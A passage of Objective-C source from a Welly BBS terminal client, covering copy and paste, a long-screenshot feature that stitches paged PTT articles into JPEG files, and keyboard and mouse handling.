[WLAnsiColorOperationManager ansiCodeFromANSIColorData:[pb dataForType:ANSIColorPBoardType] forANSIColorKey:[[[self frontMostConnection] site] ansiColorKey] encoding:[[[self frontMostConnection] site] encoding]]; [[self frontMostConnection] sendMessage:ansiCode]; return; } else if ([types containsObject:NSRTFPboardType]) { NSAttributedString *rtfString = [[[NSAttributedString alloc] initWithRTF:[pb dataForType:NSRTFPboardType] documentAttributes:nil] autorelease]; NSString *ansiCode = [WLAnsiColorOperationManager ansiCodeStringFromAttributedString:rtfString forANSIColorKey:[[[self frontMostConnection] site] ansiColorKey]]; [[self frontMostConnection] sendText:ansiCode]; } else { [self performPaste]; return; } } #pragma mark - #pragma mark Actions - (void)copy:(id)sender { if (![self isConnected]) return; if (_selectionLength == 0) return; NSString *s = [self selectedPlainString]; /* Color copy */ int location, length; if (_selectionLength >= 0) { location = _selectionLocation; length = _selectionLength; } else { location = _selectionLocation + _selectionLength; length = 0 - (int)_selectionLength; } NSPasteboard *pb = [NSPasteboard generalPasteboard]; NSMutableArray *types = [NSMutableArray arrayWithObjects:NSStringPboardType, ANSIColorPBoardType, nil]; if (!s) s = @""; [pb declareTypes:types owner:self]; [pb setString:s forType:NSStringPboardType]; if (_hasRectangleSelected) { [pb setData:[WLAnsiColorOperationManager ansiColorDataFromTerminal:[self frontMostTerminal] inRect:[self selectedRect]] forType:ANSIColorPBoardType]; } else { [pb setData:[WLAnsiColorOperationManager ansiColorDataFromTerminal:[self frontMostTerminal] atLocation:location length:length] forType:ANSIColorPBoardType]; } } - (void) showErrorMsg:(NSString *) msg { [Answers logCustomEventWithName:@"Long Screenshot" customAttributes:@{@"failed" : msg}]; NSBeginAlertSheet(NSLocalizedString(@"Long Screenshot Error!", @"Sheet Title"), NSLocalizedString(@"Confirm", @"Default Button"), nil, nil, _longScreenshotWindow, self, @selector(confirmSheetDidEnd:returnCode:contextInfo:), nil, nil, NSLocalizedString(msg, @"Sheet Message")); } - (void)confirmSheetDidEnd:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo { [_longScreenshotWindow endEditingFor:nil]; [NSApp endSheet:_longScreenshotWindow]; [_longScreenshotWindow orderOut:self]; } - (void)performChangePage:(NSMutableArray *) screenArray { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; const int sleepTime = 100000, maxAttempt = 500; int i=0, lineNum1, lineNum2, pageCount=0, fnameCount=0; NSString *bottomLine, *tmp; WLConnection *conn = [[self frontMostTerminal] connection]; NSDictionary *finalScreenShotDic; [conn sendText:termKeyHome]; while(i< maxAttempt) { // wait for the screen to refresh ++i; usleep(sleepTime); bottomLine = [self getTerminalBottomLine]; if([bottomLine containsString:@"目前顯示: 第 01~"]){ changePageStatus = YES; i = 0; break; } else { changePageStatus = NO; } } if(changePageStatus && [[self getTerminalBottomLine] containsString:@" 瀏覽 第 1/1 頁 (100"]){ // single page only [self performSelectorOnMainThread:@selector(showErrorMsg:) withObject:@"Only single page, please use cmd+shift+c" waitUntilDone:YES]; [screenArray removeAllObjects]; return; } else if(changePageStatus) { // now we know we have multiple page to process // let's count how many pages needed to capture tmp = [self getTerminalBottomLine]; NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"~(\\d+) 行" options:0 error:nil]; NSTextCheckingResult *match = [regex firstMatchInString:tmp options:NSAnchoredSearch range:NSMakeRange(0, tmp.length)]; NSRange needleRange = [match rangeAtIndex: 1]; NSString *needle = [tmp substringWithRange:needleRange]; lineNum1 = needle.intValue; // get author and article title as filename tmp = [self getTerminalNthLine:1]; regex = [NSRegularExpression regularExpressionWithPattern:@"作者[: ]+([a-zA-Z0-9]{2,12}) " options:0 error:nil]; match = [regex firstMatchInString:tmp options:NSAnchoredSearch range:NSMakeRange(0, tmp.length)]; needleRange = [match rangeAtIndex: 1]; NSString *aAuthor = [tmp substringWithRange:needleRange]; tmp = [self getTerminalNthLine:2]; regex = [NSRegularExpression regularExpressionWithPattern:@"標題[: \\w]+\\[?\\w+\\]? +?(.+)" options:0 error:nil]; match = [regex firstMatchInString:tmp options:NSAnchoredSearch range:NSMakeRange(0, tmp.length)]; needleRange = [match rangeAtIndex: 1]; NSString *aTitle = [tmp substringWithRange:needleRange]; // ok, take first screenshot [self performSelectorOnMainThread:@selector(takeScreenShot:) withObject:screenArray waitUntilDone:YES]; // PTT's page counting SUCKS!!! let's do it correctly // PTT also sucks on line counting; while(YES){ [conn sendText:termKeyPageDown]; while(i< maxAttempt) { // wait for the screen to refresh ++i; usleep(sleepTime); bottomLine = [self getTerminalBottomLine]; if([bottomLine containsString:@"目前顯示: 第 "]){ // not the last page changePageStatus = YES; i = 0; break; } else { changePageStatus = NO; } } if(changePageStatus && ![bottomLine containsString:@"頁 (100%)"]) { regex = [NSRegularExpression regularExpressionWithPattern:@"~(\\d+) 行" options:0 error:nil]; match = [regex firstMatchInString:[self getTerminalBottomLine] options:NSAnchoredSearch range:NSMakeRange(0, [self getTerminalBottomLine].length)]; if(match){ needleRange = [match rangeAtIndex: 1]; needle = [bottomLine substringWithRange:needleRange]; lineNum1 = needle.intValue; [self performSelectorOnMainThread:@selector(takeScreenShot:) withObject:screenArray waitUntilDone:YES]; ++pageCount; } } else if (changePageStatus && [bottomLine containsString:@"頁 (100%)"]) { regex = [NSRegularExpression regularExpressionWithPattern:@"~(\\d+) 行" options:0 error:nil]; match = [regex firstMatchInString:[self getTerminalBottomLine] options:NSAnchoredSearch range:NSMakeRange(0, [self getTerminalBottomLine].length)]; if(match){ needleRange = [match rangeAtIndex: 1]; needle = [bottomLine substringWithRange:needleRange]; lineNum2 = needle.intValue; [self performSelectorOnMainThread:@selector(takeScreenShot:) withObject:screenArray waitUntilDone:YES]; // last page reached, break for infinite while loop [Answers logCustomEventWithName:@"Long Screenshot" customAttributes:@{@"pagecount" : [NSNumber numberWithInt: (pageCount+1)]}]; break; } } else { //show warn [self performSelectorOnMainThread:@selector(showErrorMsg:) withObject:@"Something goes wrong while flipping the page (1)" waitUntilDone:YES]; [screenArray removeAllObjects]; return; } if(pageCount % 20 == 0) { ++fnameCount; regex = [NSRegularExpression regularExpressionWithPattern:@"~(\\d+) 行" options:0 error:nil]; match = [regex firstMatchInString:[self getTerminalBottomLine] options:NSAnchoredSearch range:NSMakeRange(0, [self getTerminalBottomLine].length)]; if(match){ needleRange = [match rangeAtIndex: 1]; needle = [bottomLine substringWithRange:needleRange]; lineNum2 = needle.intValue; finalScreenShotDic = [NSDictionary dictionaryWithObjectsAndKeys:screenArray,@"screenArr",[NSNumber numberWithInt:lineNum1], @"lineNum1", [NSNumber numberWithInt:lineNum2], @"lineNum2", [NSString stringWithFormat:@"%@_%@", aTitle, aAuthor], @"fname", [NSNumber numberWithInt:fnameCount], @"fnamecount", [NSNumber numberWithInt:0], @"status",nil]; [self performSelectorOnMainThread:@selector(genFinalScreenShot:) withObject:finalScreenShotDic waitUntilDone:YES]; // keep last screenshot as the first screen for new capture [screenArray removeObjectsInRange:NSMakeRange(0, screenArray.count-1)]; } } } // end of while(yes) // for the final round ++fnameCount; finalScreenShotDic = [NSDictionary dictionaryWithObjectsAndKeys:screenArray,@"screenArr",[NSNumber numberWithInt:lineNum1], @"lineNum1", [NSNumber numberWithInt:lineNum2], @"lineNum2", [NSString stringWithFormat:@"%@_%@", aTitle, aAuthor], @"fname", [NSNumber numberWithInt:fnameCount], @"fnamecount", [NSNumber numberWithInt:1], @"status",nil]; [self performSelectorOnMainThread:@selector(genFinalScreenShot:) withObject:finalScreenShotDic waitUntilDone:NO]; [pool release]; } else { // show warn [self performSelectorOnMainThread:@selector(showErrorMsg:) withObject:@"Something goes wrong while flipping the page (2)" waitUntilDone:YES]; [screenArray removeAllObjects]; [pool release]; return; } } - (void)genFinalScreenShot:(NSDictionary *)resultDic { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; int lineNum1, lineNum2, w, h, hPerRow, totalHeight, totalPage, i, startY; NSMutableArray *screenArray; NSImage *result; NSFont *font = [NSFont fontWithName:@"PingFang TC Medium" size:17.0]; if(!font) { // older mac version font = [NSFont fontWithName:@"STHeitiTC-Medium" size:17.0]; } NSDictionary *attrsDictionary = [NSDictionary dictionaryWithObject:font forKey:NSFontAttributeName]; //footer watermark NSTimeZone *timeZone = [NSTimeZone localTimeZone]; NSDateFormatter *formatter = [[[NSDateFormatter alloc] init] autorelease]; [formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"]; NSDate *currentDate = [NSDate date]; int fnameCount = [[resultDic objectForKey:@"fnamecount"] intValue]; NSString *footerString = [NSString stringWithFormat:@"本圖由clyang版Welly擷取, 安裝:https://github.com/clyang/welly. 截圖時間: %@ (%@) 第%d頁",[formatter stringFromDate:currentDate], [timeZone name], fnameCount]; lineNum1 = [[resultDic objectForKey:@"lineNum1"] intValue]; lineNum2 = [[resultDic objectForKey:@"lineNum2"] intValue]; screenArray = [resultDic objectForKey:@"screenArr"]; w = [self frame].size.width; h = [self frame].size.height; hPerRow = h / 24; totalPage = screenArray.count; if(lineNum2 == (totalPage-1) * 22 + 1) { // just one line longer than article totalHeight = (lineNum2+3) * hPerRow; } else if(lineNum2-lineNum1 == 1) { // fix article like: #1Pu1frIl (MAC) totalHeight = (lineNum2+5) * hPerRow; }else { totalHeight = hPerRow * ((22*totalPage-(22-(lineNum2-lineNum1+2)))+1); } //NSLog(@"totalheight: %d", totalHeight); //NSLog(@"L1:%d L2:%d totalh: %d totalP: %d hPerRow: %d", lineNum1, lineNum2, totalHeight, totalPage, hPerRow); NSSize newSize = NSMakeSize(w, totalHeight); NSImage *finalImage = [[[NSImage alloc] initWithSize:newSize] autorelease]; [finalImage lockFocus]; // draw first page (index: 0) result = [screenArray objectAtIndex:0]; [result drawInRect:NSMakeRect(0, totalHeight-h, w, h) fromRect:NSZeroRect operation:NSCompositeSourceOver fraction:1.0]; // draw page2 to pageN-1 for(i=1; i < totalPage-1; ++i) { result = [screenArray objectAtIndex:i]; startY = totalHeight-(i+1)*h+i*2*hPerRow; if(startY < 0) { startY = totalHeight-h-hPerRow*6; } else if (startY == 0) { startY = totalHeight-2*h+hPerRow*4; } [result drawInRect:NSMakeRect(0, startY, w, h) fromRect:NSZeroRect operation:NSCompositeSourceOver fraction:1.0]; } // deal with lastpage result = [screenArray objectAtIndex:i]; [result drawInRect:NSMakeRect(0, hPerRow, w, (lineNum2-lineNum1+1)*hPerRow) fromRect:NSMakeRect(0, 0, w, (lineNum2-lineNum1+1)*hPerRow) operation:NSCompositeSourceOver fraction:1.0]; [footerString drawAtPoint: NSMakePoint(10,2) withAttributes: attrsDictionary]; [finalImage unlockFocus]; // goooooooooooooooooood, finally done!! // let's write it to JPEG Files // but first, let's check if ~/Download/welly_clyang exists NSError *error; NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDownloadsDirectory, NSUserDomainMask, YES); NSString *documentsDirectory = [paths objectAtIndex:0]; // Get documents folder NSString *dataPath = [documentsDirectory stringByAppendingPathComponent:@"/welly-clyang_screenshot"]; if (![[NSFileManager defaultManager] fileExistsAtPath:dataPath]) [[NSFileManager defaultManager] createDirectoryAtPath:dataPath withIntermediateDirectories:NO attributes:nil error:&error]; // Final final step, create the filename // Note: fname needs to be cleaned to avoid problem NSString *fname = [resultDic objectForKey:@"fname"]; NSCharacterSet *doNotWant = [NSCharacterSet characterSetWithCharactersInString:@"~!@#$%^&*()+\\|'\"></.,?"]; fname = [[fname componentsSeparatedByCharactersInSet: doNotWant] componentsJoinedByString: @""]; [formatter setDateFormat:@"yyyyMMddHHmmss"]; fname = [NSString stringWithFormat:@"%@/%@_%@-%d.jpg", dataPath, fname, [formatter stringFromDate:currentDate], fnameCount]; // oh yeah~~ write to the disk!! [finalImage saveAsJpegWithName:fname]; if([[resultDic objectForKey:@"status"] intValue] == 1) { NSArray *fileURLs = [NSArray arrayWithObjects:[NSURL fileURLWithPath:fname], nil] ; [[NSWorkspace sharedWorkspace] activateFileViewerSelectingURLs:fileURLs]; [screenArray removeAllObjects]; [pool release]; [Answers logCustomEventWithName:@"Long Screenshot" customAttributes:@{@"action" : @"Capture successfully!"}]; [_longScreenshotWindow endEditingFor:nil]; [NSApp endSheet:_longScreenshotWindow]; [_longScreenshotWindow orderOut:self]; } } - (void)takeScreenShot:(NSMutableArray *)screenArray { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; NSRect imageRect = NSMakeRect(0, 0, [self frame].size.width, [self frame].size.height); NSImage *screen = [[NSImage alloc] initWithData:[self dataWithPDFInsideRect:imageRect]]; [screenArray addObject:screen]; [screen release]; [pool release]; } - (NSString *)getTerminalNthLine:(int) i { const int line = i - 1; return [[self frontMostTerminal] stringAtIndex:line * [[WLGlobalConfig sharedInstance] column] length:[[WLGlobalConfig sharedInstance] column]] ?: @""; } - (NSString *)getTerminalBottomLine { const int linesPerPage = [[WLGlobalConfig sharedInstance] row] - 1; return [[self frontMostTerminal] stringAtIndex:linesPerPage * [[WLGlobalConfig sharedInstance] column] length:[[WLGlobalConfig sharedInstance] column]] ?: @""; } - (void)prepareChangePage: (NSObject *) o { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; NSMutableArray * sharedData = [Singleton singleton].globalArray; [self performChangePage: sharedData]; [pool release]; } - (IBAction)copyLongImage:(id)sender { if (![self isConnected]) return; if([[self getTerminalBottomLine] containsString:@" 瀏覽 第"]){ [Answers logCustomEventWithName:@"Long Screenshot" customAttributes:@{@"action" : @"pressed ok!"}]; // show working panel if (!_longScreenshotWindow) { [NSBundle loadNibNamed:kLongScreenshotPanelNibFilename owner:self]; } [NSApp beginSheet:_longScreenshotWindow modalForWindow:_window modalDelegate:nil didEndSelector:NULL contextInfo:nil]; // first send home key to force page navigate to 1st page [NSThread detachNewThreadSelector:@selector(prepareChangePage:) toTarget:self withObject:nil]; } else { // show warn [self showNotificationWindow:@"Long Screenshot Error!" withSheetMsg:@"Please make sure you're in article mode and this BBS uses pmore editor!"]; } } - (void)showNotificationWindow:(NSString *)titleMsg withSheetMsg:(NSString *)sheetMsg{ [Answers logCustomEventWithName:@"Long Screenshot" customAttributes:@{@"failed" :sheetMsg}]; NSBeginAlertSheet(NSLocalizedString(titleMsg, @"Sheet Title"), NSLocalizedString(@"Confirm", @"Default Button"), nil, nil, _longScreenshotWindow, self, nil, nil, nil, NSLocalizedString(sheetMsg, @"Sheet Message")); } - (IBAction)copyImage:(id)sender { if (![self isConnected]) return; NSPasteboard *pb = [NSPasteboard generalPasteboard]; NSArray *typesArray = [NSArray arrayWithObject:NSPasteboardTypePDF]; [pb declareTypes:typesArray owner:self]; NSRect imageRect = [self frame]; // If has selected a rectangle area, copy the image inside the rect if (_hasRectangleSelected) { NSRect selectedRect = [self selectedRect]; imageRect = [self rectAtRow:selectedRect.origin.y column:selectedRect.origin.x height:selectedRect.size.height width:selectedRect.size.width]; // Clear the selection, to avoid copying the selected mark [self clearSelection]; } [self writePDFInsideRect:imageRect toPasteboard:pb]; } +(NSMutableArray*)array { static NSMutableArray *statArray; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ statArray = [NSMutableArray array]; }); return statArray; } - (void)warnPasteWithSelector:(SEL)didEndSelector { NSBeginAlertSheet(NSLocalizedString(@"Are you sure you want to paste?", @"Sheet Title"), NSLocalizedString(@"Confirm", @"Default Button"), NSLocalizedString(@"Cancel", @"Cancel Button"), nil, [self window], self, didEndSelector, nil, nil, NSLocalizedString(@"It seems that you are not in edit mode. Pasting may cause unpredictable behaviors. Are you sure you want to paste?", @"Sheet Message")); } - (BOOL)shouldWarnPaste { return [[NSUserDefaults standardUserDefaults] boolForKey:WLSafePasteEnabledKeyName] && [[self frontMostTerminal] bbsState].state != BBSComposePost; } - (void)pasteColor:(id)sender { if (![self isConnected]) return; if ([self shouldWarnPaste]) { [self warnPasteWithSelector:@selector(confirmPasteColor:returnCode:contextInfo:)]; } else { [self performPasteColor]; } } - (void)paste:(id)sender { if (![self isConnected]) return; if ([self shouldWarnPaste]) { [self warnPasteWithSelector:@selector(confirmPaste:returnCode:contextInfo:)]; } else { [self performPaste]; } } - (void)pasteWrap:(id)sender { if (![self isConnected]) return; if ([self shouldWarnPaste]) { [self warnPasteWithSelector:@selector(confirmPasteWrap:returnCode:contextInfo:)]; } else { [self performPasteWrap]; } } - (void)selectAll:(id)sender { if (![self isConnected]) return; _selectionLocation = 0; _selectionLength = _maxRow * _maxColumn; [self setNeedsDisplay:YES]; } - (BOOL)validateMenuItem:(NSMenuItem *)item { SEL action = [item action]; if (action == @selector(copy:) && (![self isConnected] || _selectionLength == 0)) { return NO; } else if ((action == @selector(paste:) || action == @selector(pasteWrap:) || action == @selector(pasteColor:)) && ![self isConnected]) { return NO; } else if (action == @selector(selectAll:) && ![self isConnected]) { return NO; } return YES; } - (void)sendText:(NSString *)text { [self clearSelection]; [[self frontMostConnection] sendText:text]; } - (void)refreshMouseHotspot { [_effectView clear]; [_mouseBehaviorDelegate forceUpdate]; } #pragma mark - #pragma mark Active Timer - (void)hasMouseActivity { _isMouseActive = YES; } - (void)checkActivity:(NSTimer *)timer { if (_isMouseActive) { _isMouseActive = NO; return; } else { // Hide the cursor [NSCursor setHiddenUntilMouseMoves:YES]; // Remove effects [_effectView clear]; } } #pragma mark - #pragma mark Event Handling - (void)selectWordAtPoint:(NSPoint)point { NSRange range = [self rangeForWordAtPoint:point]; _selectionLocation = range.location; _selectionLength = range.length; } - (void)mouseDown:(NSEvent *)theEvent { [self hasMouseActivity]; [[self frontMostConnection] resetMessageCount]; [[self window] makeFirstResponder:self]; if (![self isConnected]) { return; } // Disable the mouse if we cancelled any selection if(abs(_selectionLength) > 0) _isNotCancelingSelection = NO; NSPoint p = [self convertPoint:[theEvent locationInWindow] fromView:nil]; _selectionLocation = [self convertIndexFromPoint:p]; _selectionLength = 0; if (([theEvent modifierFlags] & NSCommandKeyMask) == 0x00 && [theEvent clickCount] == 3) { _selectionLocation = _selectionLocation - (_selectionLocation % _maxColumn); _selectionLength = _maxColumn; } else if (([theEvent modifierFlags] & NSCommandKeyMask) == 0x00 && [theEvent clickCount] == 2) { [self selectWordAtPoint:p]; } [self setNeedsDisplay:YES]; } - (void)mouseDragged:(NSEvent *)theEvent { [self hasMouseActivity]; if (![self isConnected]) { return; } NSPoint p = [theEvent locationInWindow]; p = [self convertPoint:p fromView:nil]; int index = [self convertIndexFromPoint:p]; int oldValue = _selectionLength; _selectionLength = index - _selectionLocation + 1; if (_selectionLength <= 0) _selectionLength--; if (oldValue != _selectionLength) [self setNeedsDisplay:YES]; _hasRectangleSelected = _wantsRectangleSelection; // TODO: Calculate the precise region to redraw } - (void)mouseUp:(NSEvent *)theEvent { [self hasMouseActivity]; if (![self isConnected]) return; // open url if (abs(_selectionLength) <= 1 && _isNotCancelingSelection && !_isKeying && !_isInUrlMode) { [_mouseBehaviorDelegate mouseUp:theEvent]; } _isNotCancelingSelection = YES; } - (void)mouseMoved:(NSEvent *)theEvent { [self hasMouseActivity]; } - (void)scrollWheel:(NSEvent *)theEvent { [super scrollWheel:theEvent]; [self hasMouseActivity]; [_mouseBehaviorDelegate scrollWheel:theEvent]; } - (void)swipeWithEvent:(NSEvent *)event { if ([[[self frontMostTerminal] connection] isConnected]) { // For Y-Axis if ([event deltaY] > 0) { [self sendText:termKeyPageUp]; return; } else if ([event deltaY] < 0) { [self sendText:termKeyPageDown]; return; } } // We leave the X-Axis swiping for parent views to handle [super swipeWithEvent:event]; } - (NSMenu *)menuForEvent:(NSEvent *)theEvent { if (![self isConnected]) return nil; NSString *s = [self selectedPlainString]; if (s != nil) return [WLContextualMenuManager menuWithSelectedString:s]; else return [_mouseBehaviorDelegate menuForEvent:theEvent]; } - (void)keyDown:(NSEvent *)theEvent { [[self frontMostConnection] resetMessageCount]; if (theEvent.characters.length == 0) { // dead key pressed return; } unichar c = [theEvent.characters characterAtIndex:0]; // URL if(_isInUrlMode) { BOOL shouldExit; switch(c) { // Add up and down arrows' event handling here. case NSLeftArrowFunctionKey: case NSUpArrowFunctionKey: [_effectView showIndicatorAtPoint:[_urlManager movePrev]]; break; case WLTabCharacter: case NSRightArrowFunctionKey: case NSDownArrowFunctionKey: [_effectView showIndicatorAtPoint:[_urlManager moveNext]]; break; case WLEscapeCharacter: // esc [self exitURL]; break; case WLWhitespaceCharacter: case WLReturnCharacter: shouldExit = [_urlManager openCurrentURL:theEvent]; if(shouldExit) [self exitURL]; else [_effectView showIndicatorAtPoint:[_urlManager moveNext]]; break; } return; } [self clearSelection]; unsigned char arrow[6] = {0x1B, 0x4F, 0x00, 0x1B, 0x4F, 0x00}; unsigned char buf[10]; WLTerminal *ds = [self frontMostTerminal]; // add new key bindling // option + arrow up/down/left/right mapping to // page up/page down/home/end if((theEvent.modifierFlags & NSAlternateKeyMask) == NSAlternateKeyMask && [[theEvent charactersIgnoringModifiers] isEqualToString:keyStringRight]) { [[self frontMostConnection] sendText:termKeyEnd]; return; } else if((theEvent.modifierFlags & NSAlternateKeyMask) == NSAlternateKeyMask && [[theEvent charactersIgnoringModifiers] isEqualToString:keyStringLeft]) { [[self frontMostConnection] sendText:termKeyHome]; return; } else if((theEvent.modifierFlags & NSAlternateKeyMask) == NSAlternateKeyMask && [[theEvent charactersIgnoringModifiers] isEqualToString:keyStringUp]) { [[self frontMostConnection] sendText:termKeyPageUp]; return; } else if((theEvent.modifierFlags & NSAlternateKeyMask) == NSAlternateKeyMask && [[theEvent charactersIgnoringModifiers] isEqualToString:keyStringDown]) { [[self frontMostConnection] sendText:termKeyPageDown]; return; } else if ((theEvent.modifierFlags & NSControlKeyMask) && ((theEvent.modifierFlags & NSAlternateKeyMask) == 0 )) { buf[0] = c; [[self frontMostConnection] sendBytes:buf length:1]; return; } if (c == NSUpArrowFunctionKey) arrow[2] = arrow[5] = 'A'; if (c == NSDownArrowFunctionKey) arrow[2] = arrow[5] = 'B'; if (c == NSRightArrowFunctionKey) arrow[2] = arrow[5] = 'C'; if (c == NSLeftArrowFunctionKey) arrow[2] = arrow[5] = 'D'; if (![self hasMarkedText] && (c == NSUpArrowFunctionKey || c == NSDownArrowFunctionKey || c == NSRightArrowFunctionKey || c == NSLeftArrowFunctionKey)) { [ds updateDoubleByteStateForRow:[ds cursorRow]]; if ((c == NSRightArrowFunctionKey && [ds attrAtRow:[ds cursorRow] column:[ds cursorColumn]].f.doubleByte == 1) || (c == NSLeftArrowFunctionKey && [ds cursorColumn] > 0 && [ds attrAtRow:[ds cursorRow] column:[ds cursorColumn] - 1].f.doubleByte == 2)) if ([[[self frontMostConnection] site] shouldDetectDoubleByte]) { [[self frontMostConnection] sendBytes:arrow length:6]; return; } [[self frontMostConnection] sendBytes:arrow length:3]; return; } if (![self hasMarkedText] && (c == NSDeleteCharacter)) { //buf[0] = buf[1] = NSBackspaceCharacter; // Modified by K.O.ed: using 0x7F instead of 0x08 buf[0] = buf[1] = NSDeleteCharacter; if ([[[self frontMostConnection] site] shouldDetectDoubleByte] && [ds cursorColumn] > 0 && [ds attrAtRow:[ds cursorRow] column:[ds cursorColumn] - 1].f.doubleByte == 2) [[self frontMostConnection] sendBytes:buf length:2]; else [[self frontMostConnection] sendBytes:buf length:1]; return; } [self interpretKeyEvents:[NSArray arrayWithObject:theEvent]]; } - (void)flagsChanged:(NSEvent *)event { unsigned int currentFlags = [event modifierFlags]; // For rectangle selection if ((currentFlags & NSAlternateKeyMask) == NSAlternateKeyMask) { _wantsRectangleSelection = YES; [[NSCursor crosshairCursor] push]; _mouseBehaviorDelegate.normalCursor = [NSCursor crosshairCursor]; } else { _wantsRectangleSelection = NO; [[NSCursor crosshairCursor] pop]; _mouseBehaviorDelegate.normalCursor = [NSCursor arrowCursor]; } return; [super flagsChanged:event]; } - (void)clearSelection { if (_selectionLength != 0) { _selectionLength = 0; _isNotCancelingSelection = NO; _hasRectangleSelected = NO; [self setNeedsDisplay:YES]; } } #pragma mark - #pragma mark Drawing - (void)drawRect:(NSRect)rect { NSAutoreleasePool *pool = [NSAutoreleasePool new]; [super drawRect:rect]; if ([self isConnected]) { /* Draw the selection */ if (_selectionLength != 0) [self drawSelection]; } [pool release]; } - (void)drawSelection { NSAutoreleasePool *pool = [NSAutoreleasePool new]; int location, length; if (_selectionLength >= 0) { location = _selectionLocation; length = _selectionLength; } else { location = _selectionLocation + _selectionLength; length = 0 - (int)_selectionLength; } int x = location % _maxColumn; int y = location / _maxColumn; [[NSColor colorWithCalibratedRed: 0.6 green: 0.9 blue: 0.6 alpha: 0.4] set]; if (_hasRectangleSelected) { // Rectangle NSRect selectedRect = [self selectedRect]; NSRect drawingRect = [self rectAtRow:selectedRect.origin.y column:selectedRect.origin.x height:selectedRect.size.height width:selectedRect.size.width]; [NSBezierPath fillRect:drawingRect]; } else { while (length > 0) { if (x + length <= _maxColumn) { // one-line [NSBezierPath fillRect:NSMakeRect(x * _fontWidth, (_maxRow - y - 1) * _fontHeight, _fontWidth * length, _fontHeight)]; length = 0; } else { [NSBezierPath fillRect:NSMakeRect(x * _fontWidth, (_maxRow - y - 1) * _fontHeight, _fontWidth * (_maxColumn - x), _fontHeight)]; length -= (_maxColumn - x); } x = 0; y++; } } [pool release]; } #pragma mark - #pragma mark Override - (BOOL)isFlipped { return NO; } - (BOOL)isOpaque { return YES; } - (BOOL)acceptsFirstResponder { return YES; } - (BOOL)canBecomeKeyView { return YES; } + (NSMenu *)defaultMenu { return [[[NSMenu alloc] init] autorelease]; } /* Otherwise, it will return the subview. */ - (NSView *)hitTest:(NSPoint)p { return self; } - (void)resetCursorRects { [super resetCursorRects]; [self refreshMouseHotspot]; return; } // For full screen - (void)viewDidMoveToWindow { [self refreshDisplay]; [self refreshMouseHotspot]; } - (void)setFrame:(NSRect)frameRect { [super setFrame:frameRect]; [_effectView resize]; } #pragma mark - #pragma mark Accessor - (NSString *)selectedPlainString { if (_selectionLength == 0) return nil; if (!_hasRectangleSelected) { int location, length; if (_selectionLength >= 0) { location = _selectionLocation; length = _selectionLength; } else { location = _selectionLocation + _selectionLength; length = 0 - (int)_selectionLength; } return [[self frontMostTerminal] stringAtIndex:location length:length]; } else { // Rectangle selection NSRect selectedRect = [self selectedRect]; NSMutableString *string = [NSMutableString string]; for (int r = selectedRect.origin.y; r < selectedRect.origin.y + selectedRect.size.height; ++r) { NSString *str = [[self frontMostTerminal] stringAtIndex:(r * _maxColumn + selectedRect.origin.x) length:selectedRect.size.width]; if (str) [string appendString:str]; if (r == selectedRect.origin.y + selectedRect.size.height - 1) break; [string appendString:@"\n"]; } return string; } } - (BOOL)shouldEnableMouse { return [[[self frontMostConnection] site] shouldEnableMouse]; } - (YLANSIColorKey)ansiColorKey { return [[[self frontMostConnection] site] ansiColorKey]; } - (BOOL)shouldWarnCompose { return ([[self frontMostTerminal] bbsState].state != BBSComposePost); } - (void) showCustomizedPopUpMessage:(NSString *) message { [WLPopUpMessage showPopUpMessage:message duration:0.5 effectView:_effectView]; } #pragma mark - #pragma mark NSTextInput Protocol /* NSTextInput protocol */ // instead of keyDown: aString can be NSString or NSAttributedString - (void)insertText:(id)aString { [self insertText:aString withDelay:0]; } - (void)insertText:(id)aString withDelay:(int)microsecond { if (![self frontMostConnection] || ![[self frontMostConnection] isConnected]) return; NSAutoreleasePool *pool = [NSAutoreleasePool new]; [_textField setHidden:YES]; [_markedText release]; _markedText = nil; [[self frontMostConnection] sendText:aString withDelay:microsecond]; [pool release]; } - (void)doCommandBySelector:(SEL)aSelector { unsigned char ch[10]; if (aSelector == @selector(insertNewline:)) { ch[0] = 0x0D; [[self frontMostConnection] sendBytes:ch length:1]; } else if (aSelector == @selector(cancelOperation:)) { ch[0] = 0x1B; [[self frontMostConnection] sendBytes:ch length:1]; } else if (aSelector == @selector(scrollToBeginningOfDocument:) || aSelector == @selector(moveToBeginningOfLine:)) { ch[0] = 0x1B; ch[1] = '['; ch[2] = '1'; ch[3] = '~'; [[self frontMostConnection] sendBytes:ch length:4]; } else if (aSelector == @selector(scrollToEndOfDocument:) || aSelector == @selector(moveToEndOfLine:)) { ch[0] = 0x1B; ch[1] = '['; ch[2] = '4'; ch[3] = '~'; [[self frontMostConnection] sendBytes:ch length:4]; } else if (aSelector == @selector(scrollPageUp:) || aSelector == @selector(pageUp:)) { ch[0] = 0x1B; ch[1] = '['; ch[2] = '5'; ch[3] = '~'; [[self frontMostConnection] sendBytes:ch length:4]; } else if (aSelector == @selector(scrollPageDown:) || aSelector == @selector(pageDown:)) { ch[0] = 0x1B; ch[1] = '['; ch[2] = '6'; ch[3] = '~'; [[self frontMostConnection] sendBytes:ch length:4]; } else if (aSelector == @selector(insertTab:)) { ch[0] = 0x09; [[self frontMostConnection] sendBytes:ch length:1]; } else if (aSelector == @selector(deleteForward:)) { ch[0] = 0x1B; ch[1] = '['; ch[2] = '3'; ch[3] = '~'; ch[4] = 0x1B; ch[5] = '['; ch[6] = '3'; ch[7] = '~'; int len = 4; id ds = [self frontMostTerminal]; if ([[[self frontMostConnection] site] shouldDetectDoubleByte] && [ds cursorColumn] < (_maxColumn - 1) && [ds attrAtRow:[ds cursorRow] column:[ds cursorColumn] + 1].f.doubleByte == 2) len += 4; [[self frontMostConnection] sendBytes:ch length:len]; } else if (aSelector == @selector(insertTabIgnoringFieldEditor:)) { // Now do URL mode switching [self switchURL]; } else { NSLog(@"Unprocessed selector: %@", NSStringFromSelector(aSelector)); } } // setMarkedText: cannot take a nil first argument. aString can be NSString or NSAttributedString - (void)setMarkedText:(id)aString selectedRange:(NSRange)selRange { WLTerminal *ds = [self frontMostTerminal]; if (![aString respondsToSelector:@selector(isEqualToAttributedString:)] && [aString isMemberOfClass:[NSString class]]) aString = [[[NSAttributedString alloc] initWithString:aString] autorelease]; if 